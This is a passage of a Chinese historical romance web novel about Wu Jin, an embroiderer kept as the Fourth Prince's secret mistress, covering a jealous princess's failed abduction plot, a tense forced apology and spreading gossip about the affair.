两人很快缠在一块。
胤禛舒爽过后把乌锦拉进怀里,说道:“你若是想要什么,可以跟谢嬷嬷说。”
“奴婢什么都不缺。”
胤禛喜欢她不贪心的样子,有些女人可能在这个时候会要金银珠宝,贪婪得很,她还算知道分寸。
“二十两银子还是会按时给你,你缺什么可以自己去买,我希望我过来时要见到人,而不是见不到人。”
“奴婢会好好待在屋子里,尽量不外出,奴婢等着主子爷过来。”
胤禛满意地笑了笑。
……
许是他这半个月过来频繁,后半个月,他又不见人影,乌锦也没有真的如她所说每天都大门不出,二门不迈,她晓得他可能不会过来时,还是会出门,偶尔回一趟家,或是去一趟铺子那边,谢嬷嬷跟瓜嬷嬷她们也不会拦她。
就这样过了一个月,到了四月初,一场春雨过后,京城的春意更明显了,四处泛着绿意,鲜花绽放。
谢嬷嬷不知去哪采摘来的几束花,插进青花缠枝莲瓶里,将其摆放在屋内,笑着跟她说这花好看。
“乌姑娘住在这里后,我都觉得多了几分人气,不然平日里我跟云珊两个人大眼瞪小眼,都觉得无趣。”
乌锦看了一眼谢嬷嬷,又摸了摸谢嬷嬷摘来的花,什么也没说,只是跟着谢嬷嬷一起摆花。
这宅子里平日里只住着她、谢嬷嬷跟瓜嬷嬷,赵师傅是外男,他单独住在隔壁的一进宅子里,负责养马,跟马住在一块。
“乌姑娘今日想吃什么?”
乌锦想了想,她许久没吃羊肉了,便说了炖羊肉。
“好,我等会让月依去做。”
谢嬷嬷把花整理好后便出去吩咐瓜嬷嬷做炖羊肉,乌锦只是看一会那些花,让眼睛休息一会,过后又开始刺绣。
太阳落山,天快黑时,她才没有继续绣,傍晚,她一个人坐着用膳,谢嬷嬷她们说她是主子,她们不能跟她坐在一块用膳,她劝说无果就随她们去了。
翌日,乌锦早起让赵师傅送她绣秀苑。
彩玉跟小娘比她来得迟一些,乌锦过来查看上个月的账本
,今日她还要过去采买纱线,四月份的纱线又新颜色又多,她得囤一些供今年使用。
她看完账本跟小娘商量着买哪些颜色的纱线,一一记下来后便跟彩玉去纱线铺,她问彩玉家里有没有发生什么事,彩玉摇摇头说家里一切都好,让她别担心。
“家里有什么事,你一定要告诉我。”
彩玉笑着挽她的手臂:“小姐,我能瞒得过你嘛,我们真的都很好,小姐尽管放心。”
乌锦敲了敲彩玉的脑袋。
彩玉微微吐了吐舌头。
两人到纱线铺开始挑纱线,乌锦挑得认真,没注意到店家神色不对,当她跟店家说话时,店家神色又恢复正常。
两人花了半个时辰才从纱线铺出来。
乌锦回到绣秀苑后又在铺子里待了大半天过了未时才离开,依旧是赵师傅驱着马车。
不知过了多久,只听见吁的一声,马车突然停下,乌锦整个人倾斜,脑门撞到车厢内壁,她掀开车帘一看,发现有好几个人拦住他们的路,都蒙着脸。
“乌姑娘,这几个人好像跟了我们一路了。”赵师傅跟她低语几句。
乌锦看向那五个蒙着脸的人,不知道他们是想干什么,半道劫财?
没等她想明白时,那几个人就冲上来,对方人多,赵师傅让她坐好,他猛地往棕马身上抽缰绳,啪啪好几下,整辆马车也冲向那几个人。
那几个人也没想到他们会冲过来,眼里有些害怕,最后还是闪开了。
马匹一冲过去就往前奔走,将那些人甩在后面,他们也得以脱险。
“乌姑娘,你没事吧?”
乌锦说她没事,她本以为赵师傅只是普通的车夫,经过今日一事,她不这么想了,估计是四阿哥安置在她身边护卫之类的人。
那些人蒙着面,他们也不知道是谁,回到宅子后,乌锦有些心有余悸,她不知道自己得罪了谁,亦或是四阿哥那边有人发现他养外室了,有人对她这个外室下手,或是四阿哥得罪了什么人,牵连到她。
她知道这件事肯定有人会告诉四阿哥,无需她多说,四阿哥若是想查,应该查得到吧。
发生这件事后,乌锦连着好几日不出门,只窝在房间内刺绣,把田福晋要的夹马褂给她绣好。
四阿哥是在事情发生后第七天过来的。
乌锦听到脚步声,抬头看进来的人,她刚想起来行礼时,他就说不用了,他坐下来,乌锦给他倒一杯热茶。
“吓到了?”
乌锦顺着回道:“是,吓到了,要不是赵师傅聪明,恐怕我们得落入那些人手中,四阿哥可查出是何人所为?”
“你觉得是何人所为?”
乌锦其实毫无头绪,她自认平时自己真的没得罪什么人,倒是他,身为皇子,他跟他那些兄弟应该有许多矛盾,她不知道这会四阿哥有没有产生争皇位的心思,但同为皇子,他们除了皇位,肯定也有其它要争的东西。
“我不知道,那几个人都蒙着脸,我没看到他们的面目,无法知晓他们是何人,主子爷,你快些告诉我吧。”
胤禛轻轻吐出两个字——-多兰。
乌锦诧异,眼睛不由睁大:“多兰格格?是多兰格格想要伤我?怎么会是她?”
“她被雅尔江阿禁足一个月,认为你是害的她,对你多有怨气,于是找来几个家丁想要将你抓住,她打你出出气。”
“她知道我跟主子爷的关系吗?”
“雅尔江阿没告诉她。”
乌锦知道四阿哥肯定将事情往轻了说,他肯定不想处置多兰,多兰毕竟是被封为郡君的宗女,多兰哪是只有想打她出气那么简单,她要是真被抓住,恐怕还有更恶劣的事情在后头等着她。
晓得四阿哥想将此事轻轻揭过时,乌锦其实也没有难过,他本来就不把她当人,自然也不会把她的生死放在眼里,多兰想要真害死她,他估计也不会追究多兰的过错,她在他心里压根没有份量。
“我从未得罪过多兰格格,从没做过对不起多兰格格的事,偏偏多兰格格屡屡跟我过不去,屡屡欺负我,我却什么都做不了,人人都可以欺负我,我活着还有什么意思。”
乌锦说着说着就哭了。
胤禛也没想到乌锦会哭,这个女人一向冷心冷肺,属于心硬之人,除了在床上喊疼时会泛泪,平日里是不轻易落泪之人,她突然一下子哭了,眼泪像掉线的珍珠一样不受控制地滚落,看上去十分委屈,他莫名对她产生一分怜悯,他把她扯过来,温声道:“我已经让雅尔江阿告诫过多兰,再有下次,她这辈子都不能走出王府。”
所以多兰其实这次什么惩罚都没有,乌锦气得哭得更厉害了,变成嚎啕大哭,跟三岁小孩差不多,她直接抓过他衣袖,将眼泪抹在他袖子上。
胤禛其实是有点嫌弃的,不过见她哭得这么厉害,那点嫌弃也就压下去了,他想着到时候让多兰跪下跟她道歉好了,她那么喜欢银子,让雅尔江阿给她几百两银子。
“四阿哥还说跟着你可以享受荣华富贵,结果一个格格都可以随便欺负我,这样的荣华富贵有什么用,我真不如死了算了,到时候投个好胎,出身在富贵人家,才不会让人随便欺负去。”
“你舍得死吗?”胤禛知道这个女人不会去自尽的,她只是嘴上说说而已,不知为何,见她哭得这般丑陋,他觉得很好笑,她很可笑。
别的女人在他面前落泪都要害羞带怯,梨花带雨,很少有人在他面前哭得这般“尽兴”,完全不顾形象。
胤禛不由地笑出声。
乌锦其实是压抑这么久的情绪一下子爆发出来而已,自从她遇到他后,她平静的日子被打破,开始过上担惊受怕的日子,她讨厌多兰格格,但更恨他,他还有脸笑,她气得直接咬他耳朵。
“松口。”
“不松。”
胤禛见她真的咬下去,用了力气,他去掰开她的嘴,结果又被她咬手,手上一时分不清是眼泪还是津液。
“乌锦!你给我松口!”
乌锦咬够了才松开,他耳朵上跟右手都有很明显的咬痕,一圈牙印,她低头不看他。
“你是胆子大了,都不怕我了是不是?”
胤禛气得抬起她下巴,跟她对视,刚想再说什么,她就亲过来,他都不知道自己最后是怎么跟她亲下去的,明明她眼泪鼻涕一起流,脏得要命。
“呵呵呵……”
“笑什么?又哭又笑的,像个疯子,从我身上起开。”
乌锦笑着紧紧搂着他,眼泪还盈在眼眶里,“主子爷真的想我起来吗?我偏不起来,我不能就这样放过多兰格格,上次她扇我巴掌,总得让我扇回来,以一还十,我扇她十巴掌,这事就算过去了,你说可不可以?总得让她记住教训才行,万一她下次还敢呢,若是这次我没能逃脱,主子爷可能就见不到我了,也亲不到我了。”
“我会让雅尔江阿把人带过来给你。”
“不要带过来这边,带去绣秀苑。”
乌锦知道她是仗了他的势,但多兰格格不也是仗了家里的势,她不知道多兰是真的只是想打她一顿泄愤还是她想伤她杀她,反正多兰已经很恨她了,那就让她更恨吧。
“嗯。”
见他答应,乌锦又捧着他的脸亲了亲,“谢主子爷成全。”
胤禛是见她哭得太厉害才答应
她的,反正也不是什么难事,多兰这性子是得收敛收敛,她目前是他的人,他暂时护她也是应该的,打狗还得看主人,多兰该长长教训。
“主子爷对我真好。”
胤禛轻笑,他若是不答应,她说不定就会骂他了,哪会说他好。
“去洗洗,脏死了。”
“一起吧,我看主子爷也脏了。”
最后两个人一块沐浴,出来后就缠在一块,酣畅淋漓地做了一次。
……
三日后,百花酒楼。
雅尔江阿将多兰带进包厢,这包厢有内外之分,他们在外间,雅尔江阿知道四阿哥等人在内间。
过了一会儿,乌锦从外面进来。
雅尔江阿示意自家妹妹上前给乌锦道歉,多兰不情不愿,但还是对着乌锦鞠一躬,跟她说对不住,她不是故意的,她只是想吓吓她。
乌锦瞥了一眼内间才看向多兰跟雅尔江阿两兄妹,开口道:“只是吓吓我?多兰格格,我自认我从未做过伤害你之事,你为何对我步步紧逼?”
多兰已经知道乌锦是四阿哥的人,她不肯过来道歉,她哥哥才跟她讲了实情,所以此时乌锦才敢这么嚣张地跟她说话,她怎么也没想到四阿哥会看上一个丑八怪,她自己之前那么喜欢四阿哥,都没有换来四阿哥的侧目,一个丑八怪竟然成了四阿哥的女人,让她怎么甘心。
她本来是来道歉,只是越想越不甘,眼神愤恨地盯着乌锦,刚想说什么时,自家哥哥就瞪她,示意她别乱说话,她才把到嘴边的话吞回去。
“是我不对,我以后不会了,还请乌姐姐原谅我一回,我已经知错了。”
乌锦看多兰的样子就知道她压根不觉得自己有错,想必是雅尔江阿逼她过来的,她盯着多兰的眼睛,冷冷一笑。
多兰不知为何见到乌锦的冷笑时后背有些发凉,不敢跟乌锦对视,略显心虚,她知道自己有错在先,应该说乌锦的确从来没做过伤害她的事,是她一直在作弄她。
“你想干什么?”多兰不由地后退,拉开她跟乌锦的距离,开始害怕了。
雅尔江阿在一旁也不知道乌锦想干什么,他觉得此时的乌锦像换了一个人,以前的她卑微柔弱,但此刻的她眼神很是凌厉,不知是不是在四阿哥身边待得久,他觉得乌锦的眼神很像生气时的四阿哥,透着一股盛气凌人的压迫感。让人不由自主心生恐惧。
他晓得四阿哥在里面,自家妹妹这次又的确是做得过分,竟然想让人去绑乌锦,乌锦真出什么事,恐怕就不止过来道歉这么简单,所以他只能看着乌锦朝多兰逼近,不好制止。
第49章第49章更新
第49章
乌锦掏出一把匕首,锋利的匕刃泛着幽光。
多兰吓得惊叫起来,闪身躲到雅尔江阿身后。
雅尔江阿也没想到乌锦会掏出匕首,他是让自家妹妹过来道歉,不是让她过来送死,乌锦是四阿哥的人没错,但她终究只是一个见不得光的外室,他以为乌锦不敢对多兰怎么样的。
“乌姑娘!”雅尔江阿沉下脸,挡住乌锦靠近多兰。
乌锦嘴角划过一抹嘲讽,冷声道:“世子爷,我也不过是吓吓她,怎么,她吓我就行,我吓她就不行了嘛,我还没怎么样呢。”
她绕到雅尔江阿身后,硬是把多兰格格抓出来,对着她说道:“多兰格格,你平日里总叫我丑八怪,你这张脸要是被这把匕首刮花了,你也会成为丑八怪。”
多兰刚被吓到,反应过来后想着她是被册封的郡君,乌锦不敢伤她,于是硬挺着腰,只是颤抖的声音透露出她的害怕:“乌锦,你……你敢!你要是敢伤我,我不会放过你的,我还会让你阿玛下狱。”
乌锦举起匕首,对着多兰的脸欲划下去。
多兰吓得抱头乱窜,惊叫连连。
雅尔江阿也抓住乌锦的手。
乌锦淡淡一笑:“世子爷,我真的只是吓吓她,我收下你们的道歉,没什么事的话,我先走了。”
雅尔江阿觉得刚刚乌锦是真的想划伤多兰的脸,他看着乌锦离开,对乌锦这个人多了一分深究。
多兰在此之后见到乌锦也不会再故意刁难,她是真的怕乌锦划伤她的脸,加上被自家哥哥再三告诫不可以主动招惹乌锦,她反正再见到乌锦顶多翻个白眼,对着她没有好脸色,嘲讽几句,动手扇巴掌之类的是再也不敢了。
这事算是告一段落。
乌锦这边还是跟往常一样过她的日子,她忙着刺绣,有好几日没走出宅子,终于将夹马褂绣好后,她才出门一趟,拿去裕王府给田福晋。
从裕王府出来,她准备去一趟绣秀苑,只是还没走到绣秀苑时就听到有人提到她,她仔细一听,脸色微变。
“听说绣秀苑那个乌姑娘嫁不出去,去当外室了。”
“就是脸上有疤那个。”
“是不是一家人住在石桥胡同那边,姓乌的那户人家。”
“就是那户人家,听说有人看到乌姑娘跟一男人举止亲密,如今住在外城的一处宅子里,说是那个男人给她安置的宅子。”
“乌姑娘几岁了?”
“乌姑娘也有二十岁了吧,嫁不出去,听说跟她相好的那个男人有家有室,年纪很大了,都快可以当她爹了。”
“平日里看着乌姑娘还挺和善的,没想到是这么不检点的人。”
“不知廉耻,越是这样的女人越不要脸,谁会想到她竟然暗地给人当外室。”
一群说闲话的人越说越起劲,丝毫没察觉到乌锦就在他们身后,直到有一个人抬头看到她,吓得惊呼一声后,众人才看到她,脸上顿时僵住,出现尴尬之色,瞬间噤声。
乌锦也没说什么,就这样走开,她来到铺子前发现铺子没开,她直朝着家里走去,在胡同口碰到三婶,三婶把她拉过去。
“桃子,别听那些人乱说,三婶知道你不是那样的人,肯定是那些人在瞎说,那些话别放到心里去,我知道你是去别人府上当绣娘了。”
乌锦看向三婶乌佳氏,只是笑了笑,没有承认也没有否认,只说她先回家看看。
“好,你回去吧,有什么事过来找三婶。”
乌锦笑着点头,她也注意到有不少目光落在她身上,她扫了一眼后便回家,家里的门也是紧闭的,她敲门后彩玉才出来给她开门。
“小姐,你……你怎么回来了?”
乌锦看到彩玉心虚的样子,就知道他们肯定也是听到那些闲言碎语了,这里可是封建保守的大清,女子要三贞九烈,三从四德,而婚前失贞、不守妇道的女子在他们眼里是犯了不可饶恕的错,是可以被浸猪笼,动用私刑处死的。
乌锦一进屋就闻到药味,她看到她额娘躺在床上,有些病色。
“额娘……”
完颜氏听到自家女儿的声音,忙从床上坐起来,起来得太急,她又咳嗽两声。
乌锦忙过去帮她拍背。
“你怎么回来了?”
“这里是我家,我难道不能回来吗?”
完颜氏赶忙摇手:“我女儿当然可以回来,你知道额娘不是这个意思。”
乌锦摸一下她额娘的额头,有点烫,“请大夫来看过了吗?怎么会突然生病?”
完颜氏说道:“你额娘的身子你又不是不知道,大夫已经来看过了,没有大碍,你不用担心,额娘没事。”
小娘将一碗汤药端进来,乌锦看着她额娘喝完。
几人忽然静默下来,气氛尴尬。
乌锦便主动开口道:“我已经知道外面的人在说什么了,你们不必瞒着我。”
完颜氏这才叹口气,握着自家女儿的手,“桃子,我们别在意别人说什么,他们爱怎么说就怎么说,我只希望我女儿平平安安的,其它的都不重要,我们也不跟那些人争辩。”
乌锦知道这事没法澄清,因为是事实,估计是有人在外城那边看到她了,她对那些闲言碎语并不是特别在意,也觉得伤害不到她,但她知道她额娘他们肯定在意,听到那些话肯定心里难受,所以才会病倒。
乌锦皱着眉头,不知道该说什么。
程连秀说道:“桃子,我们对外说你是去别人府上当绣娘,所以没有住在家里,偶尔才会回来一趟,不管怎么样,那些人说归说,由他们说去,我们还是照常过我们的日子,你也不用愧疚,等过一阵子就好了,你放心吧,我肯定会把茹姐照顾好的。”
彩玉也接话说她会照顾好大太太跟二太太的。
乌锦看向她们,担忧道:“我
是担心你们,我如今住在外城,这边发生什么事,我也不知晓,你们也都瞒着我,让我怎么放心。”
“哪有什么大事,这些不过是小事,不用担心我们,我跟你额娘才是长辈,哪轮得到你一个晚辈担心我们,放心吧,我们这边一切都好,你把你自己顾好就行。”
虽然小娘这么说,乌锦哪会真的放心,她说她今晚在家里住一晚,小娘立即去厨房那边张罗晚膳。
乌锦在房间里陪着她额娘说会话,过一会儿才跟彩玉到她的房间问这几日有没有发生什么事,逼着彩玉说实话。
彩玉这才说这几日其实有人故意上门说难听话,铺子那边也有人故意上门闹事,她们只能闭门不出。
乌锦就知道没那么平静。
未时三刻,她阿玛跟乌安他们回来,乌安脸上出现一些抓伤,一问才知道他在官学那边跟人打架了,细问才知道是因为她的事,有人说她的坏话,乌安便跟那个人打起来。
乌安抬头看着她:“姐姐,我知道他们肯定是乱说的,姐姐才不是他们说的那样。”
乌锦摸了摸乌安的头,问他们怎么说的。
“他们说姐姐在外面做不要脸的事,说姐姐偷人,当别人名不正言不顺的外室,姐姐,外室是什么?”
“乌安!你胡说什么,赶紧闭嘴!”
程连秀一把扯过乌安,神色严肃地教训道:“别什么话都往家里说,那些人在胡说,你别信他们的,你姐姐是什么样的人,你最清楚,不需要听外人说。”
“所以我才跟他们打起来,我知道姐姐不是他们说的那样。”
乌锦半蹲下来跟乌安说话:“乌安,姐姐知道你会护着姐姐,但是姐姐更不希望你受伤,下次他们说什么,你当没听到就好了,别跟他们打架。”
“可是我就是不想听他们胡说,他们凭什么胡说。”乌安感到委屈,低着头,声音有些哽咽。
乌锦抱了抱他。
乌安埋在她肩上哭了起来。
傍晚时分,一家人围坐在一块,但每个人神情都很沉重,除了乌明之外,乌明还是专心在吃食上,这顿饭吃得不是很轻松。
乌锦在乌家待一晚上,第二天才返回宅子那边,她让谢嬷嬷给四阿哥传话,她想见他。
隔了三日,他才过来。
乌锦在床上很尽力地讨好他,胤禛也感觉到了,事后,胤禛等着她开口。
“主子爷,奴婢有事相求。”
“说说看。”
乌锦凑在他耳边低声说了一番话。
胤禛说有点难办。
乌锦主动亲他,从脸一路往下亲,眼看着要亲到那处时,胤禛把她拉起来,他搂着她,让她别闹他,他暂时还没有力气来第二次。
“主子爷,你就答应我吧,要不是因为主子爷,我们家也不会经历这些事。”
“知道了,我会吩咐下去的。”
乌锦见他答应,高兴地连亲他的脸颊十几下。
胤禛半搂着乌锦,不知为何,他在她这里总能轻松自在不少,她难得求他,所求之事也不是难事,帮帮她也无妨。
……
连着十几日,但凡说乌家的事,嚼舌根子说闲话的那些人被官兵听到后都被下狱,还有那些上门闹事的更是被关好几天,就这样一严惩下来,那些人再也不敢说乌家的事,不敢说乌锦当外室,不知廉耻的那些话,至少不敢放在明面上说,只敢在家里跟家里人说几句。
众人纷纷猜测跟乌锦苟合的男人是个大官,又联想到乌锦先前跟简亲王世子的“绯闻”,他们暗中断定乌锦的男人是世子雅尔江阿。
那些人认为是世子雅尔江阿跟乌锦在一块后,便再也不敢上门闹事或是嚼舌根子,甚至开始捧着乌家人,跟之前相比,简直跟换个人似的。
民不与官斗,更何况那是世子爷,姓爱新觉罗的,国姓爷,当世子爷的外室在普通百姓眼中其实也是一件光荣的事,于是他们又称赞起乌锦,没想到她会有这么大的造化。
乌锦回家一趟,不少人过来跟她攀谈,她笑着敷衍过去。
她坐在家里的铺炕上,正剥着橘子吃。
程连秀一边剥花生一边说道:“桃子,你是不知道这几日有多少人过来我们家,你姑母昨日也来过,问你是不是真的跟世子在一块。”
乌锦看向她小娘:“那小娘是怎么回的?”
“我哪敢说实话,当然是否认,说你没和谁在一起,反正我看你姑母不怎么信,还好你让世子爷帮忙,不然我估计那些人不会消停。”
乌锦其实并不觉得光荣,反而觉得可悲,她被四阿哥用权势逼迫,她又反过来利用他的权势让别人闭嘴,压迫他人,权势可真是“好东西”。
“家里没事就好,我跟世子爷的事的确不适合对外宣扬,对别人敷衍过去就好,不必说真话。”
程连秀点头道:“小娘都晓得的,桃子,你……肚子还没有动静吗?”
乌锦一愣,随后笑着摇头说没有动静。
“要不要我去药铺给你抓些药?”
“小娘,不用了,外面不知道有多少人盯着我们家呢,别节外生枝,该有的会有的,不用着急。”
程连秀觉得也是,这事急不得,她想着等桃子有了身孕,她便能入王府当真正的主子,哪怕是庶福晋也是主子,那桃子也算是苦尽甘来。
……
另一边的简亲王府,福晋西林觉罗氏把自家儿子叫过来审问,外面那些风言风语已经传到她耳中。
“你真的把那个女人养在外面了?”
雅尔江阿承认也不是,不承认也不是,他总不能说乌锦是四阿哥的外室吧,是四阿哥把乌锦养在外面吧。
“额娘,这个你就别管了。”
西林觉罗氏气得拍桌子,满脸怒气地看着自子的儿子,没想到她先前不应允他纳乌锦为妾,让乌锦进府,他反倒阳奉阴违,把人养在外面。
“你胆子大了,这种事都做得出来,那个乌锦究竟哪里好,把你迷得神魂颠倒,学会别人养外室了,你把你的名声置于何处,要是有人上奏折弹劾你怎么办?”
“额娘,你就别管了,我有分寸。”
西林觉罗氏一听这话更是气不打一处来,他所谓的有分寸就是把人养在外面,还闹得满城皆知,丢进王府的脸。
“你要是真喜欢那个女人,你就把她纳进府里,额娘这次答应你,你把人带进府里吧。”
雅尔江阿没想到自家额娘在这种情况同意他纳乌锦为妾,他哭笑不得,那已经是四阿哥的女人,他哪敢沾染,他知道外面在传乌锦跟他在一块的事,他得替四阿哥担了这个名声。
“额娘,先前额娘不让乌锦进府,我想了想还是让额娘开心点,她就留在外面吧,不用进府了。”
西林觉罗氏觉得自己的儿子在跟她唱反调,她气得一个茶杯直接扔过去,“把人带进来,你想让每个人都议论你的风流韵事嘛,你还嫌事情闹得不够大是不是?”
谁不想在朝中有个好名声,他这么一闹,别人只会以为他是为色所昏之人,要是传到圣上耳中,圣上以后还怎么器重他。
“你真是气死我了,我让你阿玛教训你。”
“额娘,没什么事,我先走了。”
雅尔江阿不想跟他额娘多说,赶紧逃出去,回到自己的院子时,福晋瓜尔佳.芷安正带着德隆在院子里玩。
“爷,你今日要在家用午膳吗?”
雅尔江阿想了了想,摇头道:“算了,我要进宫一趟,我换身衣服就走。”
茶杯虽然没砸到他身上,但茶水溅到他衣服上了。
瓜尔佳.芷安看了看自家丈夫的背影,神情有些失落,外头那些传闻是真是假,世子也没有跟她解释,而是当做没这件事,她想开口问又不知从何问起,怕问得多了,世子厌她,男人都不想被管,养外室这种事其实也不稀奇,只是轮到自家丈夫也这样做时,她还是觉得诧异。
她以为自家丈夫已经放下那个乌锦了,没想到竟然偷偷将人养在外面,他是真的去宫里呢还是去找乌锦,他时常不在家,是不是常跟乌锦厮混在一块。
“乐蓉,你过来一下。”瓜尔佳.芷安凑在自家的贴身丫鬟耳边轻声交代两句。
丫鬟乐蓉点点头,随即走开。
“额娘,你看。”德隆抓着一把土给她看,瓜尔佳.芷安才收回思绪,教训自己的儿子,“这么脏,你把手弄脏了。”
她边说边用手帕擦德隆沾满泥土的手。
德隆一脸无辜地咧着嘴笑,自家儿子还小,还不懂大人的事,瓜尔佳.芷安想到乌锦,万一那个女人也怀孕了呢,世子爷打算怎么办。
额娘跟阿玛难不成就任由着世子爷这样胡来?
瓜尔佳.芷安擦着擦着就有些失神,结果被德隆用脏手碰到脸,自家儿子一副恶作剧成功的样子,她忍不住抱住他,还好她已经生下嫡子了,将来的世子位会是她儿子的。
这样一想,瓜尔佳.芷安才神情轻松一些。
过了一个时辰,德隆已经吃了一点东西歇下了,瓜尔佳.芷安坐在屋内摆弄花瓶里的花束,用剪子剪掉枯掉的枝叶。
“福晋,张炳说世子爷是真的去宫里了。”乐蓉在她耳边轻声道。
“他亲眼所见吗?”
“是,说是跟了一路,世子爷真的入宫了。”
“然后,世子爷出宫后都做了什么?”
“世子爷出宫后又去银楼那边。”
瓜尔佳.芷安疑惑,世子爷没去找乌锦?不是说世子爷为乌锦另外安置了一座宅子吗?
“乌锦的绣铺还开着吗?”
乐蓉摇摇头说她不知道。
瓜尔佳.芷安也不知道该怎么办了,婆母那边没动静的话,难不成要她一个嫡福晋过去威胁警告乌锦嘛,她也还是要脸的,本来世子爷养外室就够让她这个嫡福晋没脸了,她再去找乌锦,只会让人觉得她这个嫡福晋连一个外室都比不过。
“算了,再看看。”
天黑前,世子爷还是回来了,也过来正院跟她一块用膳,晚上也准备在她这歇息,瓜尔佳.芷安默默松口气。
两人躺在床上时,她忍不住闻了闻世子爷身上有没有异味,比如其它香料的味道,但似乎没闻到其它味道,只有世子爷原有的松香味。
“爷,我们再要一个孩子吧。”她暗示道。
雅尔江阿自然听懂自家妻子的言下之意,他很快翻身压住她。
翌日一早,世子爷便被叫过去阿玛那,不知道父子两说了什么,世子爷回来时神色有些不对。
瓜尔佳.芷安问怎么了,阿玛说了什么。
还能说什么,还是因为乌锦那事,雅尔江阿头一次觉得有苦说不出,哑巴吃黄连,他不能说乌锦是四阿哥的人,只能认下乌锦是她的人,结果被阿玛训斥一顿,让他要么赶紧把人纳进府里,要么就跟乌锦断了,别再往来。
他只好说他会跟乌锦断了。
“没什么,德隆呢?”
“一大早起来跑去他姑姑那了。”
雅尔江阿看向自己的妻子,说道:“多兰那边,你作为长嫂也得多管管她,不能由着她的性子来,不然迟早闯出大祸。”
瓜尔佳.芷安只能点头应是,心里想的是自家小姑子那性子哪是她能管的,她是长嫂没错,只是连婆母都管不了小姑子,更何况是她这个长嫂,好在小姑子明年就要嫁人了,真闯出大祸,那也是她夫家的事,归夫家管。
自家丈夫这么说了,瓜尔佳.芷安还是在用过早膳后过去小姑子那,小姑子性子娇纵,好在跟她关系不错,对她这个长嫂还算敬重。
她似不经意提起乌锦,问她有没有见过乌锦。
“当然见过,她就是一个丑八怪,长得可丑了。”
瓜尔佳.芷安疑惑,她记得乌锦长相清秀,虽说不是容貌出色的女子,但跟丑八怪也沾不上关系吧。
“这话怎么说,她长得很丑吗?”
多兰语气带有浓浓的嫌弃,肯定道:“当然了,她脸上那块疤那么大,就是一个丑八怪,丑死了,我讨厌她,真不知道四阿哥为什么会看上她。”
瓜尔佳.芷安以为自己听错了,她好像听到四阿哥三个字,她诧异问道:“多兰,你刚刚说什么?四阿哥?为何会说到四阿哥?”
多兰也意识到自己说错话了,一时说漏了,她心虚道:“嫂子,你听错了,我没说四阿哥。”
瓜尔佳.芷安立即将房内的其他人屏退,她跟多兰面对面坐着,认真地看着多兰:“多兰,你是不是知道什么?你跟嫂子说,嫂子保证不告诉别人,保证守口如瓶,不会让第三个人知道,有什么事,你别憋在心里,你还信不过嫂子吗?”
多兰想想也是,虽说自家哥哥不让她对外说这事,只是她真的很想找一个人倾述,这个秘密只有她一个人知道,她憋得太辛苦了,于是她说道:“嫂子,乌锦是四阿哥的人,是四阿哥养的外室,她根本不是我哥的外室,她不要脸,攀上四阿哥了,真不明白四阿哥看上她什么,明明她长得很丑。”
瓜尔佳.芷安瞪大眼睛,完全不可置信,乌锦竟然是四阿哥的外室,四阿哥身为皇子,竟然在外面养起外室,比起多兰说乌锦是丑八怪,还是四阿哥养外室这事更让她震惊。
“多兰,你说的是真的吗?”
“当然是真的,哥哥亲口告诉我的,还有……”多兰原本想说她先前让人绑乌锦这事,但想到是自己的错,她还是忍住没说,“嫂子,千真万确,我虽然没亲眼见到四阿哥跟乌锦在一起,但乌锦真是四阿哥的人,哥哥不过是替四阿哥隐瞒而已。”
瓜尔佳.芷安迟迟无法收回震惊之色,原来是这样,不是世子爷在外面养外室,而是四阿哥,竟然是四阿哥。
“嫂子,你别跟哥哥说,哥哥不让我对别人说的,你得替我保密,不能让我哥哥知道我把这事告诉你了。”
瓜尔佳.芷安点点头,给予保证:“放心吧,我不会跟你哥哥说的,我谁也不会说,四阿哥怎么认识乌锦的?”
多兰哪里知道四阿哥怎么认识乌锦,她真不明白四阿哥为何会看上乌锦,那个女人有什么好,她说她不知道,一定是乌锦不要脸,主动勾引四阿哥。
瓜尔佳.芷安虽说也只是见过四阿哥几次,四阿哥跟世子爷交情深,但她身为内眷,跟四阿哥接触不多,仅有的几次接触,她感觉四阿哥不像是一个沉湎女色之人,相反,她觉得四阿哥这人是一个很镇静从容之人,有点喜怒不形于色。
更何况那可是四阿哥,身为皇子,他身边的女子众多,想要什么样的女人没有,多少女子想往四阿哥身上爬,若是主动勾引能勾到四阿哥的话,那四阿哥后院里不可能只有几位庶福晋。
见自家小姑子脸色忿愤,语气里充满着对乌锦的不喜跟讨厌,她还是把这话吞回去,既然乌锦长得丑,她如何能勾引四阿哥,四阿哥在皇子之中属于长相出色之人。
“这事有多少人知道?”瓜尔佳.芷安问道。
“这我不知道,反正是哥哥告诉我的,哥哥肯定知道,只是哥哥不让我对别人说,嫂子,反正你知道乌锦不是我哥哥的外室就行,哥哥才不会养外室。”
瓜尔佳.芷安也不确定了,毕竟连四阿哥都养外室,更何况世子爷,被多兰这么说,她知道自己那日在绣秀苑见到的人恐怕不是乌锦,乌锦另有其人,她倒是想看看这个乌锦究竟长什么样,竟然能成为四阿哥的外室。
瓜尔佳.芷安离开多兰房间时,心没法
平静,这可是惊天秘密。
第50章第50章更新
第50章
瓜尔佳.芷安知道乌锦是四阿哥的外室后对乌锦的本能不喜减少几分,只要不是世子爷的外室,她自然就不用把乌锦当成仇敌。
她带着乐蓉出府,过去乌锦的绣铺,跟上次一样,她见到那个清秀的女孩,旁边还有一位三十岁左右的妇人。
她们问她需要什么时,芷安扫一眼绣铺,回道:“我想要绣几个荷包,要精致一点的,特别一点的荷包,我想让乌锦来绣,她在这里吗?”
“我家小姐今日不在铺子里,不过夫人可以先跟我们说,我们回去再告诉我家小姐,夫人,你先看看我们这里荷包的样子。”
芷安本来就是想过来看看乌锦的,结果她人不在,她只好随便挑了几个荷包的样子,付了订金后离开。
程连秀跟彩玉已经习惯进铺的客人找乌锦,一来乌锦绣工的确是最好的,二来那些人都想过来看乌锦长什么样,他们是不敢再闹事,只是好奇心少不了,她们已经能应对自如。
而乌锦这边日子就过得简单许多,基本上只待在宅子里,白天花两三个时辰刺绣,累了就歇一歇,四阿哥来得少,等于是她跟谢嬷嬷三人住在一块,谢嬷嬷她们负责操心这座宅子里的所有琐事,包括一日三餐,她什么都不需要做,只做自己想做的事。
眨眼间过了一个月,京城开始进入五月,连着下了好几天的雨,外面雨雾蒙蒙,潮湿阴凉。
由于外头还下着小雨,明明是白天,屋内也很暗,谢嬷嬷点了两盏烛台,屋内才亮堂一些。
乌锦坐在铺炕上,难得没有刺绣,而是捧着一本话本子在看。
谢嬷嬷进来时说让她歇歇,免得看坏眼睛,随后又说主子爷一个月没来了。
